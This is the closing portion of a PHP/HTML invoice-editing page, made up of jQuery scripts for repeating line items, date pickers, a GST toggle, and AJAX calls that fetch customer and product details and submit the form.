<script src="assets/plugins/custom/datatables/datatables.bundle.js"></script>
<script src="assets/plugins/custom/formrepeater/formrepeater.bundle.js"></script>
<!--end::Vendors Javascript-->
<!--begin::Custom Javascript(used for this page only)-->
<script src="assets/js/custom/apps/ecommerce/catalog/save-category.js"></script>
<script src="assets/js/widgets.bundle.js"></script>
<script src="assets/js/custom/widgets.js"></script>
<script src="assets/js/custom/apps/chat/chat.js"></script>
<script src="assets/js/custom/utilities/modals/upgrade-plan.js"></script>
<script src="assets/js/custom/utilities/modals/create-app.js"></script>
<script src="assets/js/custom/utilities/modals/users-search.js"></script>
<!--end::Custom Javascript-->
<!--end::Javascript-->
<script src="https://cdnjs.cloudflare.com/ajax/libs/tagify/4.12.0/tagify.min.js"></script>
<script>
$('#kt_docs_repeater_basic').repeater({
initEmpty: false,
defaultValues: {
'text-input': ''
},
show: function () {
$(this).slideDown();
$(this).find('select[data-kt-repeater="select2"]').select2({
width: '100%',
placeholder: function () {
return $(this).data('placeholder') || 'Select an option';
}
});
},
hide: function(deleteElement) {
const allItems = $(this).closest('[data-repeater-list]').find('[data-repeater-item]');
if (allItems.length > 1) {
$(this).slideUp(deleteElement);
} else {
const errorMsg = $('<div class="alert alert-danger mt-2 mb-2">Cannot delete the last row. At least one row is required.</div>');
$(this).closest('[data-repeater-list]').append(errorMsg);
setTimeout(() => {
errorMsg.fadeOut(function() {
$(this).remove();
});
}, 300);
return false;
}
},
ready: function() {
$('[data-kt-repeater="select2"]').select2({
width: '100%',
placeholder: function () {
return $(this).data('placeholder') || 'Select an option';
}
});
// Pre-select values if any
$('select[data-selected-value]').each(function () {
const selected = $(this).data('selected-value');
if (selected) {
$(this).val(selected).trigger('change');
}
});
}
});
$('#addNewRowBtn').on('click', function () {
const lastItem = $('[data-repeater-list]').find('[data-repeater-item]:visible').last();
let isValid = true;
// Validate only visible, non-hidden inputs
lastItem.find('input:not([type="hidden"])').each(function () {
if ($.trim($(this).val()) === '') {
$(this).addClass('is-invalid');
isValid = false;
} else {
$(this).removeClass('is-invalid');
}
});
lastItem.find('select').each(function () {
const isSelect2 = $(this).hasClass('select2-hidden-accessible');
const selectedValues = $(this).val(); // for multiple, it's an array
if (!selectedValues || selectedValues.length === 0) {
isValid = false;
if (isSelect2) {
$(this).next('.select2').find('.select2-selection').addClass('is-invalid');
} else {
$(this).addClass('is-invalid');
}
} else {
if (isSelect2) {
$(this).next('.select2').find('.select2-selection').removeClass('is-invalid');
} else {
$(this).removeClass('is-invalid');
}
}
});
if (isValid) {
// Trigger the actual repeater add
$('#realAddRepeaterBtn').click();
} else {
Swal.fire({
icon: 'error',
title: 'Error',
text: 'Please fill all required fields before adding a new row.',
});
}
});
var dueDate = "<?php echo date('Y-m-d', strtotime($data['cus_product'][0]['due_date'])); ?>";
$("#kt_daterangepicker_3").daterangepicker({
singleDatePicker: true,
showDropdowns: true,
minYear: 1901,
maxYear: parseInt(moment().format("YYYY"), 12),
startDate: dueDate, // Set default due date
locale: {
format: "YYYY-MM-DD" // Ensure correct format
}
});
var invoiceDate = "<?php echo date('Y-m-d', strtotime($data['cus_product'][0]['invoice_date'])); ?>";
$("#kt_daterangepicker").daterangepicker({
singleDatePicker: true,
showDropdowns: true,
minYear: 1901,
maxYear: parseInt(moment().format("YYYY"), 12),
startDate: invoiceDate, // Set default date
locale: {
format: "YYYY-MM-DD" // Ensure correct format
}
});
$(document).ready(function () {
function toggleGstInput() {
let gstSelect = $("select[name='cus_gst']").val();
let gstInput = $("input[name='withgst']");
if (gstSelect == "1") {
gstInput.closest(".mb-5").removeClass("d-none");
gstInput.val("18%"); // Set GST value to 18%
} else {
gstInput.closest(".mb-5").addClass("d-none");
gstInput.val("0%"); // Set GST value to 0%
}
}
toggleGstInput();
$("select[name='cus_gst']").on("change", function () {
toggleGstInput();
});
});
$(document).ready(function () {
var customerSelect = $('select[name="customer"]');
var ciid = new URLSearchParams(window.location.search).get('ciid'); // Get 'ciid' from URL
console.log("ciid:", ciid);
function fetchCustomerAddress(customerId) {
if (customerId) {
$.ajax({
url: 'get_customer_alreadyadress.php',
type: 'GET',
data: { id: customerId, ciid: ciid }, // Send both id and ciid
dataType: 'json',
success: function (response) {
$('.bill_address').html(response.bill_address);
$('.ship_address').html(response.ship_address);
},
error: function (xhr, status, error) {
console.error("Error fetching addresses: ", error);
}
});
}
}
customerSelect.on('change', function () {
fetchCustomerAddress($(this).val());
});
var preselectedCustomer = customerSelect.val();
if (preselectedCustomer) {
fetchCustomerAddress(preselectedCustomer);
}
});
</script>
<script>
$(document).ready(function () {
$("#kt_invoice_form").submit(function (e) {
e.preventDefault(); // Prevent default form submission
// Show loading state
$("#btn-submit .indicator-label").hide();
$("#btn-submit .indicator-progress").show();
var formData = new FormData(this); // Get form data
$.ajax({
url: "ajax_invoice_update.php", // Target PHP file
type: "POST",
data: formData,
contentType: false,
processData: false,
dataType: "json", // Expect JSON response
success: function (response) {
$("#btn-submit .indicator-label").show();
$("#btn-submit .indicator-progress").hide();
if (response.status === "success") {
Swal.fire({
icon: "success",
title: "Invoice Update",
text: response.message,
}).then((result) => {
if (result.isConfirmed) {
window.location.href = "invoice.php"; // Redirect to invoice list
}
});
} else {
Swal.fire({
icon: "error",
title: "Error",
text: response.message || "An unknown error occurred",
});
}
},
error: function (xhr, status, error) {
// Hide loading state
$("#btn-submit .indicator-label").show();
$("#btn-submit .indicator-progress").hide();
Swal.fire({
icon: "error",
title: "Oops...",
text: "Something went wrong! " + xhr.responseText,
});
console.error(xhr.responseText);
},
});
});
});
$('#toggleShippingAddress01').on('change', function() {
if ($(this).is(':checked')) {
$('#shippingAddressSection01').slideDown();
} else {
$('#shippingAddressSection01').slideUp();
}
});
// Add this code at the end of your document ready function or after your existing code
$(document).ready(function() {
// Initialize rows with pre-selected products
$("[data-repeater-item]").each(function() {
var row = $(this);
var pidDropdown = row.find(".pid");
// If this row has a pre-selected product value
if (pidDropdown.val()) {
// Manually trigger the change event
pidDropdown.trigger("change");
}
});
});
// Your existing code - keep this part unchanged
$(document).ready(function() {
// Initialize rows with pre-selected products
$("[data-repeater-item]").each(function() {
var row = $(this);
var pidDropdown = row.find(".pid");
var selectedPaidValue = row.find(".paid").data("selected-value");
// Store the selected paid value for later use
if (selectedPaidValue) {
row.data("selected-paid", selectedPaidValue);
}
// If this row has a pre-selected product value
if (pidDropdown.val()) {
// Manually trigger the change event
pidDropdown.trigger("change");
}
});
});
$(document).on("change", ".pid", function () {
var selectedProduct = $(this).val();
var row = $(this).closest("[data-repeater-item]");
var selectedPaidValue = row.data("selected-paid");
console.log("Product changed:", selectedProduct);
console.log("Saved paid value:", selectedPaidValue);
if (selectedProduct) {
$.ajax({
type: "POST",
url: "fetch_product_details.php",
data: { pid: selectedProduct },
dataType: "json",
success: function (response) {
console.log("Full Response:", response);
if (!response || (!response.formValues.length && !response.paidValues.length)) {
console.warn("No options received for formValues or paidValues.");
return;
}
var formValuesDropdown = row.find(".form_Values");
var paidDropdown = row.find(".paid");
var bpidDropdown = row.find(".bpid");
bpidDropdown.empty().append('<option value="">Select an option</option>');
formValuesDropdown.empty().append('<option value="">Select an option</option>');
paidDropdown.empty().append('<option value="">Select an option</option>');
$.each(response.formValues, function (index, item) {
formValuesDropdown.append(
`<option value="${item.id}">${item.name} (${item.measurement})</option>`
);
});
$.each(response.paidValues, function (index, item) {
var selected = (item.id == selectedPaidValue) ? "selected" : "";
paidDropdown.append(
`<option value="${item.id}" ${selected}>${item.name}</option>`
);
});
$.each(response.bpidValues, function (index, item) {
bpidDropdown.append(
`<option value="${item.id}">${item.name}</option>`
);
});
if ($.fn.select2) {
formValuesDropdown.select2();
bpidDropdown.select2();
paidDropdown.select2();
// If there's a selected paid value, update the select2 widget
if (selectedPaidValue) {
paidDropdown.val(selectedPaidValue).trigger('change.select2');
}
}
console.log("Dropdowns updated successfully.");
// Disable already selected paid options within the same pid group
updatePaidOptions(row);
},
error: function (xhr, status, error) {
console.error("AJAX Error:", xhr.responseText);
alert("Failed to fetch product details. Please try again.");
}
});
}
});
function updatePaidOptions(currentRow) {
var currentPid = currentRow.find(".pid").val();
// Collect all selected 'paid' values for this specific pid
var selectedPaidValues = [];
$("[data-repeater-item]").each(function () {
var row = $(this);
var pid = row.find(".pid").val();
var paid = row.find(".paid").val();
if (pid === currentPid && paid) {
selectedPaidValues.push(paid);
}
});
// Disable duplicate 'paid' options in dropdowns for the same pid
$("[data-repeater-item]").each(function () {
var row = $(this);
var pid = row.find(".pid").val();
var dropdown = row.find(".paid");
if (pid === currentPid) {
var currentSelected = dropdown.val(); // Allow currently selected value
dropdown.find("option").each(function () {
var optionVal = $(this).val();
if (selectedPaidValues.includes(optionVal) && optionVal !== currentSelected && optionVal !== "") {
$(this).prop("disabled", true);
} else {
$(this).prop("disabled", false);
}
});
}
});
}
$(document).on("change", ".paid", function () {
var row = $(this).closest("[data-repeater-item]");
updatePaidOptions(row);
});
</script>
</body>
</html>